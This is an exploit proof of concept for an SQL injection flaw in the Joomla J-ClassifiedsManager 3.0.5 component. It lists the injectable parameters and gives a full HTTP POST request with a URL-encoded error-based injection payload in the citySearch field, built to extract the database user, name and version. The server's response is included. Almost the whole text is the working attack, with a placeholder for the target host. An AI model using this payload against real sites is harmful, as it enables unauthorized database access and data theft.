Joomla! J-ClassifiedsManager 3.0.5 SQL Injection

`# Exploit Title: Joomla! Component J-ClassifiedsManager 3.0.5 - SQL Injection  
# Dork: N/A  
# Date: 2019-01-23  
# Exploit Author: Ihsan Sencan  
# Vendor Homepage: http://cmsjunkie.com/  
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/j-classifiedsmanager/  
# Version: 3.0.5  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: N/A  
  
# POC:   
# 1)  
# http://localhost/[PATH]/component/jclassifiedsmanager/  
#   
  
&categorySearch=[SQL]  
&adType=[SQL]  
&citySearch=[SQL]  
  
POST /[PATH]/component/jclassifiedsmanager/ HTTP/1.1  
Host: TARGET  
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 779  
Cookie: __cfduid=d35dbe4de0d461bf69a9165df0f9691951548240991; 79a1b3ae870a3fab009030106c9fb887=eeab77f1b87057d5ad12b61071048ad6  
DNT: 1  
Connection: keep-alive  
Upgrade-Insecure-Requests: 1  
searchKeyword=&categorySearch=&adType=&citySearch=1'%7c%7c%28%53%45%4c%45%43%54%20%27%45%66%65%27%20%46%52%4f%4d%20%44%55%41%4c%20%57%48%45%52%45 2%3d%32%20%41%4e%44%20%28%53%45%4c%45%43%54%20%32%20%46%52%4f%4d%28%53%45%4c%45%43%54%20%43%4f%55%4e%54%28%2a%29%2c%43%4f%4e%43%41%54%28%43%4f%4e%43%41%54%5f%57%53%28%30%78%32%30%33%61%32%30%2c%55%53%45%52%28%29%2c%44%41%54%41%42%41%53%45%28%29,%56%45%52%53%49%4f%4e%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%32%3d%32%2c%31%29%29%29%2c%46%4c%4f%4f%52%28%52%41%4e%44%28%30%29%2a%32%29%29%78%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%50%4c%55%47%49%4e%53%20%47%52%4f%55%50%20%42%59%20%78%29%61%29%29%7c%7c%27&option=com_jclassifiedsmanager&controller=displayads&task=searchAds&view=displayads: undefined  
HTTP/1.1 500 Internal Server Error  
Date: Wed, 23 Jan 2019 15:06:56 GMT  
Content-Type: text/html; charset=UTF-8  
Transfer-Encoding: chunked  
Connection: keep-alive  
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"  
Cache-Control: no-cache  
Pragma: no-cache  
Alt-Svc: h2=":443"; ma=60  
Server: cloudflare  
CF-RAY: 49d9cb37b64998d7-LAX  
  
`